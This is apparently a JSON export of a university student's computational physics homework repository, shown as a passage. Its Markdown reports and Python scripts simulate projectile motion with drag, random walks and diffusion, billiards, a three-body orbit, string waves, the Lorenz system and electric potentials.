second law.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$&space;\\\\frac{d^2x}{dt^2}=0$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$&space;\\\\frac{d^2x}{dt^2}=0$$\\\" title=\\\"$$ \\\\frac{d^2x}{dt^2}=0$$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{d^2y}{dt^2}=-g$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{d^2y}{dt^2}=-g$$\\\" title=\\\"$$\\\\frac{d^2y}{dt^2}=-g$$\\\" /></a>\\nx and y are horizontal and vertical coordinates of the projectile.\\nThese are second-order differential equations.If we recasting the equations in the following way.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{dx}{dt}=v_x$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{dx}{dt}=v_x$$\\\" title=\\\"$$\\\\frac{dx}{dt}=v_x$$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{dv_x}{dt}=0$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{dv_x}{dt}=0$$\\\" title=\\\"$$\\\\frac{dv_x}{dt}=0$$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{dy}{dt}=v_y$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{dy}{dt}=v_y$$\\\" title=\\\"$$\\\\frac{dy}{dt}=v_y$$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{dv_y}{dt}=-g$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{dv_y}{dt}=-g$$\\\" title=\\\"$$\\\\frac{dv_y}{dt}=-g$$\\\" /></a>\\nWe can use Euler method to solve the problem.Then we add air resistance, air density,temperature,gravitational acceleration etc to the model to approach the realistic motion of the cannon and find out how much these factors affect the model.\\n\\n1.We will assume that the magnitude of the drag force on cannon shell is give by \\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag}=-B_2v^2$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$F_{drag}=-B_2v^2$$\\\" title=\\\"$$F_{drag}=-B_2v^2$$\\\" /></a>\\nwhere<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$v=\\\\sqrt{&space;v_x^2+v_y^2}$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$v=\\\\sqrt{&space;v_x^2+v_y^2}$\\\" title=\\\"$v=\\\\sqrt{ v_x^2+v_y^2}$\\\" /></a>is the speed of the shell.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag,x}=-B_2vv_x$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$F_{drag,x}=-B_2vv_x$$\\\" title=\\\"$$F_{drag,x}=-B_2vv_x$$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$F_{drag,y}=-B_2vv_y$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$F_{drag,y}=-B_2vv_y$$\\\" title=\\\"$$F_{drag,y}=-B_2vv_y$$\\\" /></a>\\n2.Air resistance is propotional to the density of the air,so the drag force at high altitude will be less.Treat the atmosphere as an adiabatic ideal gas which leads to that the density depends on altitude according to\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\rho=\\\\rho_0(1-\\\\frac{ay}{T_0})^\\\\alpha$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\rho=\\\\rho_0(1-\\\\frac{ay}{T_0})^\\\\alpha$$\\\" title=\\\"$$\\\\rho=\\\\rho_0(1-\\\\frac{ay}{T_0})^\\\\alpha$$\\\" /></a>\\nWe replace <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$B_2$with$B_2\\\\rho/\\\\rho_0$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$B_2$with$B_2\\\\rho/\\\\rho_0$\\\" title=\\\"$B_2$with$B_2\\\\rho/\\\\rho_0$\\\" /></a>.\\n$a\\\\approx6.5\\\\times{10^-}^3$K/m,$T_0$is the sea level temperature,$\\\\alpha\\\\approx2.5$for air\\n\\n3.Further incorporate the effects off the variation of the ground temperature by replacing<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$B_2$by$B_2^{ref}(T_0/T_{ref})^\\\\alpha$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$B_2$by$B_2^{ref}(T_0/T_{ref})^\\\\alpha$\\\" title=\\\"$B_2$by$B_2^{ref}(T_0/T_{ref})^\\\\alpha$\\\" /></a>\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$T_{ref}=300K$,$B_2^{ref}/m=4\\\\times10^{-5}m^{-1}$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$T_{ref}=300K$,$B_2^{ref}/m=4\\\\times10^{-5}m^{-1}$\\\" title=\\\"$T_{ref}=300K$,$B_2^{ref}/m=4\\\\times10^{-5}m^{-1}$\\\" /></a>\\n\\n4.Gravity decreases with altitude as one rises above the Earth's surface because greater altitude means greater distance from the Earth's centre.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$g_h=g_0(\\\\frac{r_e}{r_e+h})^2$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$g_h=g_0(\\\\frac{r_e}{r_e+h})^2$$\\\" title=\\\"$$g_h=g_0(\\\\frac{r_e}{r_e+h})^2$$\\\" /></a>\\nWhere\\n\\ngh is the gravitational acceleration at height h above sea level.\\nre is the Earth's mean radius.\\ng0 is the standard gravitational acceleration.\\nThe formula treats the Earth as a perfect sphere with a radially symmetric distribution of mass; a more accurate mathematical treatment is discussed below(from wikipedia).\\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch2.py)\\n--------------------\\n## Results and Analysis\\n----------\\n\\n**1.Use the adiabatic model of air density**\\n - when we ignore the air resistance. \\n\\n - when we consider the air resistance and air density.\\n \\nWhen we consider air resistance,the trajectories change a lot.\\nThe altitude the cannon can reach fall. \\nCompare these two pic,we can see cannon's range reduce a lot .\\n> - ignore air resistance\\n\\n 45.0 50049.491150831855\\n> - cosider air densitr\\n\\n43.199999999999996 24523.790443161008\\n( numbers under the plot are the maximum range and the launch angle to achieve it.)\\n---------------------\\n\\nThe maximum range reduce from 50049.49 to 24523.79(about51.0%)\\nThe launch angle to achieve it also become smaller(from 45.0 to 43.2)\\n\\n\\n----------\\n\\n\\n**2.Incorporate the effects of the temperature**\\n> - 253K\\n \\n> - 303K\\n\\nAssume that the temperature in winter is 253K and the summer temperature is 303K.\\nThe altitude the cannon can reach fall in summer .\\nCompare these two pic,we can see cannon's range reduce .\\n> - 253K\\n \\n > - 303K\\n \\n( numbers under the plot are the maximum range and the launch angle to achieve it.)\\n-----------------------\\n\\nThe maximum range reduce from30320.25to 24194.66 in summer.(about20.2%).However,both range in winter and summer fall a lot compared with 300K.\\nThe launch angle to achieve it in winter is 43.2 which is closed to reference temperature.The angle in summer is 45.0 which is closed to the ideal condition.\\n\\n\\n**3.Incorporate the effects of g**\\n> - g\\n\\n> - gh\\n\\n> - g\\n\\n> - gh\\n.\\n---------------------------------\\n\\nIt seems that g has very little effect on the trajectory.\\n\\n--------\\nPS.pygame\\n已安装pygame\\n\\nimport pygame \\nfrom pygame.locals import * \\npygame.init() \\npygame.display.set_mode((600,500)) 一直报错...(I'm still working on it!)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6842184066772461,\n \"alphanum_fraction\": 0.767899751663208,\n \"avg_line_length\": 54.858333587646484,\n \"blob_id\": \"6549f5606ca33ec91f59f444d826254519afa02f\",\n \"content_id\": \"d18645b814759735fc410b5b941205030e4d058a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 6714,\n \"license_type\": \"no_license\",\n \"max_line_length\": 610,\n \"num_lines\": 120,\n \"path\": \"/final/Random Systems.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Random Systems\\n\\nName:贾雪巍 \\n\\nStudent number:201530120090\\n\\n## Random Walks&Diffusion\\n\\n1.Random walk is a model describes a process in which a walker moves one step a time,according to certain rules.The simplest situation involves a walker that is able to take steps of length unity along a line.The walker begins at the origin.Each step can be towards right or left with equal probability.We can stimulate the displacement of the walker after N steps(time).Use the Monte Carlo sampling.First generate a random number between 0 and 1 and determine the direction of the step.We can also calculate the mean displacement and the average of square of the displacement and the 2 or 3 dimensional cases.\\n\\n2.Random walks are equivalent to diffusion.Consider the density of particles(walkers).The density is propotional to the probablity per unit volume P(x,y,z,t).We'll see the density and P obey the same equation.On a simple cubic lattice,the total probablity to arrive at (i,j,k) is P(i,j,k,n)=1/6[P(i+1,j,k,n-1)+P(i,j,k,t)+P(i-1,j,k,n-1)+P(i,j+1,k,n-1)+P(i,j-1,k,n-1)+P(i,j,k-1,n-1)].Rearranging and taking the continuum limit, it suggests that\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{\\\\partial&space;P(x,y,z,t)}{\\\\partial&space;t}=D&space;\\\\nabla^2P(x,y,z,t)\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{\\\\partial&space;P(x,y,z,t)}{\\\\partial&space;t}=D&space;\\\\nabla^2P(x,y,z,t)\\\" title=\\\"\\\\frac{\\\\partial P(x,y,z,t)}{\\\\partial t}=D \\\\nabla^2P(x,y,z,t)\\\" /></a>\\n\\nIf we know the initial distribution we'll get the solution at future times.\\n\\n3. Recall that the statistical definition of entropy is \\n\\n <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=S=-\\\\sum_{i}P_ilnP_i\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?S=-\\\\sum_{i}P_ilnP_i\\\" title=\\\"S=-\\\\sum_{i}P_ilnP_i\\\" /></a>\\n\\n Divide the system into a square grid.State i correspond to the particles in the cell i at any particular time and Pi is the probability of finding the particle in this cell at particular time.\\n\\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/tree/master/final)\\n\\n## Results&Anylasis\\n\\n 1.One dimensional random walk\\n\\n \\n\\nHere I draw two walker's displacements versus time\\n\\nThe following figures are get from the average of 5000 walkers.\\n\\n\\n\\nWe can see that the mean displacement is close to zero as expected.Because it's equal likely to go left and right.\\n\\n\\n\\nWe see that the averages of the square of the displacement is well described by a straight line.The RED line is the stimulation of the dots.Y=0.989960976898X+0.315882666666.\\n\\nFor a free particle x=vt.So a random walker escapes from the origin more slowly(square root of t).\\n\\nN steps one dimensional random walk is a **Binomial distribution.** From the math we have learned we can easily know that\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\sigma_n^2=\\\\overline{(\\\\Delta&space;n)^2}=Npq\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\sigma_n^2=\\\\overline{(\\\\Delta&space;n)^2}=Npq\\\" title=\\\"\\\\sigma_n^2=\\\\overline{(\\\\Delta n)^2}=Npq\\\" /></a>\\n\\nOur textbook,to explain this result,suggests that we can write the position xn as a sum of n separate i th step,then write the square displacement.Finally we reach that the slope of the curve is 1.\\n\\nUse the same method the average of x^4 is\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=<x^4>=3n^2-2n\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?<x^4>=3n^2-2n\\\" title=\\\"<x^4>=3n^2-2n\\\" /></a>\\n\\nhere's the result I got\\n\\n\\n\\n\\n\\n\\t\\t\\t\\n\\t\\tThe RED line is y=2.94218790678x^2 -6.59728183121x+ 63.7786218824 .I think <x4> can be very large (we can see from the figure).So the difference between the ideal one and the result I got is acceptable.\\n\\n2.one dimensional but random length\\n\\n\\n\\n\\n\\nThe mean average is also close to zero.\\n\\n\\n\\nThe RED line is y=0.346211421082x -0.0849232487711\\n\\n\\n\\nThe RED line is y=2.94218790678x^2 -6.59728183121x+ 63.7786218824\\n\\n3.two&three dimensions\\n\\n\\n\\n\\n\\nThe stimulation result is y=1.01732169697x+0.22355830303\\n\\n\\n\\n\\n\\n\\n\\nThe stimulation result is y=1.62234589019 x-0.981333454546\\n\\n4.From the **central limit theorem** we know for large number particles their distributions should approximate to a Gaussian distribution.You can also verify that a Gaussian distribution obeys the diffusion equation.\\n\\nSet all particle at the center at the beginning, then let them do random walk in one dimension .For 1000 walkers after 10,100,500,2000,4000,8000 time steps we get\\n\\n\\n\\nWe can see how the particles diffuse in this way without knowing the details of particles' motion.\\n\\n5.Consider two dimension random walk problem. First we set a number of particle in the center area which is shaped as a square. Then let them do random walk to up,down,left and right in four directions. The only limit is once they are reach the edge of the area they can not pass it. Then we observe the whole random particle picture in different time.\\n\\n\\n\\nThen calculate the entropy we get\\n\\n\\n\\nDuring the process th entropy increase and seemingly is going to approach a constant value.This illustrates how a closed system approaches equilibrium.\\n\\n## Acknowledgement\\n\\n1.Qiangyu,a former student of our computational course.I refered part of his codes,especially about the diffusion problem.\\n\\n2.Wikipedia,Random walk\\n\\n3.Computational Physics, Nicholas J. Giordano & Hisao Nakanishi \\n\"\n },\n {\n \"alpha_fraction\": 0.39834025502204895,\n \"alphanum_fraction\": 0.4655601680278778,\n \"avg_line_length\": 23.5744686126709,\n \"blob_id\": \"f9b29d00ffadad6b7b4b6257503ec5d9362c13d3\",\n \"content_id\": \"cdcac31fa3dbef2889211b70fec1ddb47676cecd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1239,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 47,\n \"path\": \"/homework8/code/a=0.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\ndef billiard(x0,y0,vx0,vy0,r,time):\\n x=[x0]\\n y=[y0]\\n vx=vx0\\n vy=vy0\\n t=[0]\\n dt=0.01\\n T=0\\n while T<=time:\\n x.append(x[-1]+vx*dt)\\n y.append(y[-1]+vy*dt)\\n t.append(t[-1]+dt)\\n if (x[-1]**2+y[-1]**2)>r**2:\\n d=math.sqrt(x[-1]**2+y[-1]**2)\\n d1=2*r-d##这里借鉴了强雨的代码,对坐标进行修正\\n x.append(x[-1]*d1/d)\\n y.append(y[-1]*d1/d)\\n t.append(t[-1]+dt)\\n cs=x[-1]/d \\n ss=y[-1]/d\\n vpt=vy*cs-vx*ss\\n vpr=-(vy*ss+vx*cs)\\n vx=vpr*cs-vpt*ss\\n vy=vpr*ss+vpt*cs\\n T=t[-1]\\n return x,y\\ndef circle(r1):\\n x1=[]\\n y1=[]\\n theta=[]\\n theta.append(0)\\n tu=2*math.pi/10000\\n for j in range(10000):\\n x1.append(r1*math.cos(theta[-1]))\\n y1.append(r1*math.sin(theta[-1]))\\n theta.append(theta[-1]+tu)\\n return x1,y1\\nfig = plt.figure(figsize=(7, 7))\\nB=billiard(0.5,0.5,-0.4,-0.3,1,500)\\nplt.plot(B[0],B[1],'k:')\\na1,b1=circle(1.0)\\nplt.plot(a1,b1,color='black') \\nplt.xlabel('x')\\nplt.ylabel('y')\\nplt.title('Circular stadium-trajectory')\\n \\n \\n \\n \\n \\n \"\n },\n {\n \"alpha_fraction\": 0.4588682949542999,\n \"alphanum_fraction\": 0.5306704640388489,\n \"avg_line_length\": 32.39682388305664,\n \"blob_id\": \"02afbb6a89400f40d047229a60d94e954b6049f8\",\n \"content_id\": \"82ef12ad58c97f0d2f2541f04629361647385dff\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2103,\n \"license_type\": \"no_license\",\n \"max_line_length\": 197,\n \"num_lines\": 63,\n \"path\": \"/ch4/ch4.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport matplotlib.pyplot as plt\\nMS=2*10**30\\nMJ=1.9*10**27*10\\nME=6*10**24\\na=(6*10**24+5.2*1.9*10**27)/(2*10**30+6*10**24+1.9*10**27)\\nb=((1-a)*2*math.pi*6*10**24+1.9*10**27*2*math.pi*(5.2-a)/math.sqrt(5.2))/(2*10**30*a)\\nc=(2*math.pi*ME+2*math.pi*MJ/math.sqrt(5.2))/(ME+MS+MJ)\\nJX=[5.2-a]\\nEX=[1-a]\\nSX=[0-a]\\nJY=[0]\\nEY=[0]\\nSY=[0]\\nCOMX=[0]\\nCOMY=[0]\\nvex=0\\nvey=2*math.pi\\nvjx=0\\nvjy=2*math.pi/math.sqrt(5.2)\\nvsx=0\\nvsy=0\\nt=0\\ndt=0.01\\ni=0\\nwhile t<=100:\\n re_s=math.sqrt((EX[i]-SX[i])**2+(EY[i]-SY[i])**2)\\n re_j=math.sqrt((EX[i]-JX[i])**2+(EY[i]-JY[i])**2)\\n rs_j=math.sqrt((SX[i]-JX[i])**2+(SY[i]-JY[i])**2)\\n vex_dt=vex-(4*math.pi**2*(EX[i]-SX[i])/re_s**3-4*math.pi**2*(MJ/MS)*(EX[i]-JX[i])/re_j**3)*dt\\n vey_dt=vey-(4*math.pi**2*(EY[i]-SY[i])/re_s**3-4*math.pi**2*(MJ/MS)*(EY[i]-JY[i])/re_j**3)*dt\\n vjx_dt=vjx-(4*math.pi**2*(JX[i]-SX[i])/rs_j**3-4*math.pi**2*(ME/MS)*(JX[i]-EX[i])/re_j**3)*dt \\n vjy_dt=vjy-(4*math.pi**2*(JY[i]-SY[i])/rs_j**3-4*math.pi**2*(ME/MS)*(JY[i]-EY[i])/re_j**3)*dt \\n vsx_dt=vsx-(4*math.pi**2*(ME/MS)*(SX[i]-EX[i])/re_s**3-4*math.pi**2*(MJ/MS)*(SX[i]-JX[i])/rs_j**3)*dt \\n vsy_dt=vsy-(4*math.pi**2*(ME/MS)*(SY[i]-EY[i])/re_s**3-4*math.pi**2*(MJ/MS)*(SY[i]-JY[i])/rs_j**3)*dt \\n COMX.append(0)\\n COMY.append(COMY[i]+c*dt)\\n EX.append(EX[i]+vex_dt*dt)\\n EY.append(EY[i]+vey_dt*dt-c*dt)\\n JX.append(JX[i]+vjx_dt*dt)\\n JY.append(JY[i]+vjy_dt*dt-c*dt)\\n SX.append(SX[i]+vsx_dt*dt)\\n SY.append(SY[i]+vsy_dt*dt-c*dt) \\n\\n vex=vex_dt\\n vey=vey_dt\\n vsx=vsx_dt\\n vsy=vsy_dt\\n vjx=vjx_dt\\n vjy=vjy_dt\\n i=i+1\\n t=t+dt\\nfig = plt.figure(figsize=(7, 7)) \\nplt.plot(EX,EY,linewidth='0.1',color='blue',label='Earth')\\nplt.plot(SX,SY,linewidth='1',color='red',label='Sun')\\nplt.plot(JX,JY,linewidth='1',color='black',label='Jupiter')\\n#plt.plot(COMX,COMY,color='yellow',linewidth='2')\\n#plt.grid()\\nplt.xlabel('x/AU')\\nplt.ylabel('y/AU')\\nplt.title('3-body simulation Earth&Jupiter&Sun')\\nplt.legend()\\nplt.show()\"\n },\n {\n \"alpha_fraction\": 0.4736328125,\n \"alphanum_fraction\": 0.5751953125,\n \"avg_line_length\": 21.755556106567383,\n \"blob_id\": \"c9902a0a56d361576f0ee14b3c60418b6ca68a28\",\n \"content_id\": \"4b457c6d126d9db638401326971e68553339bd46\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1024,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 45,\n \"path\": \"/ch6/ch6.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import math\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\ndelta_x=0.01\\nc=300\\ndelta_t=3.5*10**(-5)#delta_x/c#2*10**(-5)#3.33*10**(-5)delta_x/c\\nr=c*delta_t/delta_x\\nx=np.linspace(0,1,int(1/delta_x)+1)\\nk0,x0=1000,0.3\\ny_initial=[]\\nfor i in range(1+int(1/delta_x)):\\n y_initial.append(math.exp(-k0*(i*delta_x-x0)**2))\\ny1=y_initial\\ny2=y_initial\\nfor i in range(11):\\n y3=[0]\\n for j in range(1,len(y2)-1):\\n y3.append((2*(1-r**2)*y2[j]-y1[j]+r**2*(y2[j-1]+y2[j+1])))\\n y3.append(0)\\n y1=y2\\n y2=y3\\n\\n\\nn_step=11\\nn_plot=11\\nplt.figure(figsize=(10,10))\\nplt.subplot(n_plot,1,1)\\nplt.plot(x,y_initial,color='blue')\\nplt.title('Waves On A String With Fixed Ends')\\nfor i in range(n_plot-1):\\n plt.subplot(n_plot,1,i+2)\\n plt.plot(x,y1,color='blue')\\n #plt.xlabel('x')\\n #plt.figure(figsize=(7, 7))\\n for i in range(11):\\n y3=[0]\\n for j in range(1,len(y2)-1):\\n y3.append((2*(1-r**2)*y2[j]-y1[j]+r**2*(y2[j-1]+y2[j+1])))\\n y3.append(0)\\n y1=y2\\n y2=y3\\n\\n \\n\\nplt.show()\\n\"\n },\n {\n \"alpha_fraction\": 0.668713390827179,\n \"alphanum_fraction\": 0.7446274161338806,\n \"avg_line_length\": 78.62222290039062,\n \"blob_id\": \"c05d9ea44c7a9a0f3c74623d58fcae50417dd814\",\n \"content_id\": \"352c4dd7ed2f45f89400cb2773473df630a368bb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 3585,\n \"license_type\": \"no_license\",\n \"max_line_length\": 699,\n \"num_lines\": 45,\n \"path\": \"/Ch3/lorenz.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\n\\n> Written with [StackEdit](https://stackedit.io/).\\n# Chapter_two_section3.6-The Lorenz Model\\n-------------\\nproblem3.26&27\\n\\n--------\\n## Background\\n-------\\n\\nE.N.Lorenz atmospheric scientist(not Lorentz!) studied the Navier-Stokes equations and the Rayleigh-Benard problem,which concerns a fluid in a container whose top and bottom surfaces are held at different temperatures.It had long been know that as the difference between these two temperature is increased, the fluid can undergo transitions from a stationary state to steady flow to chaotic flow.He considered a **greatly simplified** version of Navier-Stokes equationas as applied to this particular problem.He grossly oversimplified the problem as he reduced it to only three equations\\n <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{dx}{dt}=\\\\sigma(y-x)\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{dx}{dt}=\\\\sigma(y-x)\\\" title=\\\"\\\\frac{dx}{dt}=\\\\sigma(y-x)\\\" /></a>,\\n <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{dy}{dt}=-xz+rx-y\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{dy}{dt}=-xz+rx-y\\\" title=\\\"\\\\frac{dy}{dt}=-xz+rx-y\\\" /></a>,\\n <a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\frac{dz}{dt}=xy-bz\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\frac{dz}{dt}=xy-bz\\\" title=\\\"\\\\frac{dz}{dt}=xy-bz\\\" /></a>.\\n x,y,z are derived from the temperature density and velocity variables from Rayleigh-Benard problem,and the sigma, r,b are the measures of of temperature difference and other fluid parameters. In the following analysis,we'll take<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=\\\\sigma=10,b=8/3\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?\\\\sigma=10,b=8/3\\\" title=\\\"\\\\sigma=10,b=8/3\\\" /></a>.From our text book we know the transition from steady convection to chaotic behavior takes place at<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=r=470/19\\\\approx24.74\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?r=470/19\\\\approx24.74\\\" title=\\\"r=470/19\\\\approx24.74\\\" /></a>.\\n We again use Euler method to solve this problem.\\n\\n\\n-------\\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch3/lorenz.py)\\n-----\\n## Results&Analysis\\n-------------\\n1.Phase-space\\nConstruct a phase-space plot model for the Lorenz model.Imagine that x,y and z are coordinates in some abstract space.\\nr=2, steady\\n\\n\\n\\n\\n\\n\\n\\nWhen r is small,the system is steady.When r=20,the system is chaotic,not r=25.However,when r is greater,the chaos seems to disappear???\\n\\n-----------\\n2.Poincatr sections\\nConsider the two-dimensional slices\\nx(0)=1,y(0)=z(0)=0\\n\\nx(0)=0,y(0)=z(0)=1\\n\\nPoincare sections are independent of the initial conditions.\\n\"\n },\n {\n \"alpha_fraction\": 0.7202531695365906,\n \"alphanum_fraction\": 0.7943037748336792,\n \"avg_line_length\": 59.57692337036133,\n \"blob_id\": \"d18c22a78ee6b87aff2ec5f968defa01fa0bdc26\",\n \"content_id\": \"a09f31e0725ec942e840909cb1559e48fa29fb41\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1580,\n \"license_type\": \"no_license\",\n \"max_line_length\": 692,\n \"num_lines\": 26,\n \"path\": \"/CH5/Electric Potentials .md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Electric Potentials \\n\\nProblem 5.3\\n\\n## Bacground\\n\\nThe reigons of space that do not contain any electric charges,the potential obeys Laplace's equation(PDE).We'll use the **relaxation method** to solve the equation numerically.After the approximaton we get the value of the potential at any point is the average of potential at all of the neighbor points(assume that the step sizes along every axis are equal).If we know the value at boundaries ,we make an initial guess for the solution.Then calculate an improved guess by the relation we get.Then repeat the procedure.This iterative process continues until satisfy some conditions.This approach is called the relaxation method.The algorithm ,our textbook says, is known as the Jacobi method.\\n\\nProblem5.3consider the potential between two parallel capacitor plates.And based on the symmetry ,we just need to calculate the result in one quadrant of the x-y plane.\\n\\n\\n\\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/CH5/ch5.py)\\n\\n## Results&Analysis\\n\\n\\n\\n\\n\\n\\n\\n\\n## Acknowlegement\\n\\nI want to thank Junyi Shangguan.Her method to set the potential is awesome!\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.417391300201416,\n \"alphanum_fraction\": 0.8695651888847351,\n \"avg_line_length\": 115,\n \"blob_id\": \"e4bebe5f25583e51534e1afb9c26a40de77dc7fb\",\n \"content_id\": \"b4faa873598649e2f845955c23342ce48a1a94ad\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 115,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 1,\n \"path\": \"/Untitled.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"![]()\"\n },\n {\n \"alpha_fraction\": 0.44592517614364624,\n \"alphanum_fraction\": 0.5146079063415527,\n \"avg_line_length\": 23.94871711730957,\n \"blob_id\": \"b0bf9b068821c67032d371a708ebff855742a64c\",\n \"content_id\": \"f66890979535623f9092aaadddab6d6ee31053ef\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1961,\n \"license_type\": \"no_license\",\n \"max_line_length\": 57,\n \"num_lines\": 78,\n \"path\": \"/final/3-randomwalk.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\nimport numpy as np\\nimport matplotlib.pyplot as plt\\nimport math\\nfrom scipy.integrate import odeint\\nfrom mpl_toolkits.mplot3d import Axes3D\\ndef randpath(T):\\n x=[0]\\n y=[0]\\n z=[0]\\n t=[0]\\n r2ave=[0]*T\\n for i in range(T):\\n ruler=random.randint(1,3)\\n if ruler==1:\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n x.append(x[-1]+1) \\n else:\\n x.append(x[-1]-1)\\n y.append(y[-1])\\n z.append(z[-1])\\n if ruler==2:\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n y.append(y[-1]+1)\\n else:\\n y.append(y[-1]-1)\\n x.append(x[-1])\\n z.append(z[-1])\\n if ruler==3:\\n c=random.random()\\n t.append(i+1)\\n if c<=0.5:\\n z.append(y[-1]+1)\\n else:\\n z.append(y[-1]-1)\\n x.append(x[-1])\\n y.append(z[-1]) \\n r2ave[i]=r2ave[i]+(x[-1]**2+y[-1]**2+z[-1]**2) \\n return x,y,z,t,r2ave\\nx,y,z,t,r2ave=randpath(500)\\nx1,y1,z1,t1,r2ave1=randpath(500)\\nfig = 